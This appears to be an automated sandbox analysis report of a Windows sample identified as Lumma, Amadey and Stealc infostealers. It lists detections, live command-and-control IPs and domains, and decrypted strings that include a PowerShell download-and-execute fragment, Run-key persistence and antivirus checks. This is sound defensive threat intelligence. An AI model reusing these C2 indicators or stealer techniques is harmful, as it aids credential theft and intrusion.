Edit tour

Windows Analysis Report
LIWYEYWSOj.exe

Overview

General Information

Sample name:	LIWYEYWSOj.exe renamed because original name is a hash value
Original sample name:	63e1ee575307e1edd1e0b7357a5bafed.exe
Analysis ID:	1581239
MD5:	63e1ee575307e1edd1e0b7357a5bafed
SHA1:	ca3177f3bc4b1dbc75736cf81981c78d68f42f7a
SHA256:	f4206cdda68f0d5e65006e954d7481aac64cd94a43d2311cfdfbbfdd2cbf8f58
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

LIWYEYWSOj.exe (PID: 6968 cmdline: "C:\Users\user\Desktop\LIWYEYWSOj.exe" MD5: 63E1EE575307E1EDD1E0B7357A5BAFED)

LEDU23VRAEI6A5X1LTGJU.exe (PID: 4928 cmdline: "C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe" MD5: 17D940E3012D0A3589F9DCB08CB8AACB)

ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe (PID: 1456 cmdline: "C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe" MD5: 0A0F11159921131E89D2E3203E99B1F6)

skotes.exe (PID: 4936 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 0A0F11159921131E89D2E3203E99B1F6)

skotes.exe (PID: 4336 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0A0F11159921131E89D2E3203E99B1F6)

0fd4b3a5d7.exe (PID: 1344 cmdline: "C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe" MD5: 9B57FB40CC559ECAC791F39CA8916ED8)

chrome.exe (PID: 2020 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0fd4b3a5d7.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2792 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2304,i,17553584691011847469,12991288075478570278,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["hummskitnj.buzz", "inherineau.buzz", "mindhandru.buzz", "screwamusresz.buzz", "appliacnesot.buzz", "scentniej.buzz", "prisonyfork.buzz", "cashfuzysao.buzz", "rebuildeso.buzz"], "Build id": "PsFKDg--pablo"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000003.2731276729.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2093689784.0000000000671000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2658446321.0000000000D19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2096558340.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2711473720.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2711392422.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2731516300.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: LIWYEYWSOj.exe PID: 6968	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: LIWYEYWSOj.exe PID: 6968	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: LIWYEYWSOj.exe PID: 6968	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: LEDU23VRAEI6A5X1LTGJU.exe PID: 4928	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: LEDU23VRAEI6A5X1LTGJU.exe PID: 4928	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 0fd4b3a5d7.exe PID: 1344	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0fd4b3a5d7.exe PID: 1344	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0fd4b3a5d7.exe PID: 1344	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.skotes.exe.c30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.skotes.exe.c30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe.250000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x347d8:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x34930:$str02: Azure\.IdentityService 0x34954:$str03: steam_tokens.txt 0x345e8:$str04: "encrypted_key":" 0x34710:$str05: prefs.js 0x34788:$str06: browser: FileZilla 0x3479c:$str07: profile: null 0x347ac:$str08: url: 0x347b4:$str09: login: 0x347bc:$str10: password:

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:59:52.423988+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	172.67.165.185	443	TCP
2024-12-27T08:59:54.457476+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	172.67.165.185	443	TCP
2024-12-27T08:59:56.918045+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	172.67.165.185	443	TCP
2024-12-27T09:00:00.642573+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	172.67.165.185	443	TCP
2024-12-27T09:00:02.941723+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	172.67.165.185	443	TCP
2024-12-27T09:00:05.534490+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	172.67.165.185	443	TCP
2024-12-27T09:00:08.489343+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	172.67.165.185	443	TCP
2024-12-27T09:00:13.463166+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	172.67.165.185	443	TCP
2024-12-27T09:01:19.751567+0100	2028371	3	Unknown Traffic	192.168.2.4	49806	172.67.165.185	443	TCP
2024-12-27T09:01:22.079364+0100	2028371	3	Unknown Traffic	192.168.2.4	49813	172.67.165.185	443	TCP
2024-12-27T09:01:24.561450+0100	2028371	3	Unknown Traffic	192.168.2.4	49820	172.67.165.185	443	TCP
2024-12-27T09:01:27.762872+0100	2028371	3	Unknown Traffic	192.168.2.4	49831	172.67.165.185	443	TCP
2024-12-27T09:01:30.228770+0100	2028371	3	Unknown Traffic	192.168.2.4	49838	172.67.165.185	443	TCP
2024-12-27T09:01:32.997576+0100	2028371	3	Unknown Traffic	192.168.2.4	49846	172.67.165.185	443	TCP
2024-12-27T09:01:35.417012+0100	2028371	3	Unknown Traffic	192.168.2.4	49852	172.67.165.185	443	TCP
2024-12-27T09:01:41.872329+0100	2028371	3	Unknown Traffic	192.168.2.4	49870	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:59:53.172007+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.165.185	443	TCP
2024-12-27T08:59:55.223438+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49732	172.67.165.185	443	TCP
2024-12-27T09:00:14.259339+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49742	172.67.165.185	443	TCP
2024-12-27T09:01:20.762370+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49806	172.67.165.185	443	TCP
2024-12-27T09:01:22.871530+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49813	172.67.165.185	443	TCP
2024-12-27T09:01:42.642735+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49870	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:59:53.172007+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49731	172.67.165.185	443	TCP
2024-12-27T09:01:20.762370+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49806	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:59:55.223438+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49732	172.67.165.185	443	TCP
2024-12-27T09:01:22.871530+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49813	172.67.165.185	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:01:44.136775+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49876	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:01:20.539552+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49808	185.215.113.43	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:00:06.331949+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49736	172.67.165.185	443	TCP
2024-12-27T09:01:33.645194+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49846	172.67.165.185	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:00:28.245678+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49746	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:01:07.151079+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49773	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:01:19.187107+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49783	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:01:11.697018+0100	2803305	3	Unknown Traffic	192.168.2.4	49789	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:00:08.493847+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49737	172.67.165.185	443	TCP
2024-12-27T09:01:35.421585+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49852	172.67.165.185	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: LIWYEYWSOj.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.phpncoded	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php6	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpnu	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiEX;	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiz	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpcoded	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php=t	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/es	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php//	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/ms	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpyt)	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/s	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/hKrwS/0t	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/j	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php4086001	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php1t	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/piJ	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apit	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/V	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/5s	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpx	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: LIWYEYWSOj.exe.6968.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["hummskitnj.buzz", "inherineau.buzz", "mindhandru.buzz", "screwamusresz.buzz", "appliacnesot.buzz", "scentniej.buzz", "prisonyfork.buzz", "cashfuzysao.buzz", "rebuildeso.buzz"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: LIWYEYWSOj.exe	Virustotal: Detection: 52%			Perma Link
Source: LIWYEYWSOj.exe	ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: LIWYEYWSOj.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 185.215.113.43
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /Zu7JuNko/index.php
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: S-%lu-
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: abc3bc1985
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: skotes.exe
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Startup
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: rundll32
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Programs
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: %USERPROFILE%
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cred.dll
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: clip.dll
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: http://
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: https://
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /quiet
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /Plugins/
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: &unit=
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: shell32.dll
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: kernel32.dll
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ProgramData\
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: AVAST Software
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Kaspersky Lab
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Panda Security
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Doctor Web
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 360TotalSecurity
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Bitdefender
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Norton
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Sophos
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Comodo
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: WinDefender
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 0123456789
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ------
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ?scr=1
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ComputerName
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: -unicode-
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: VideoID
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: DefaultSettings.YResolution
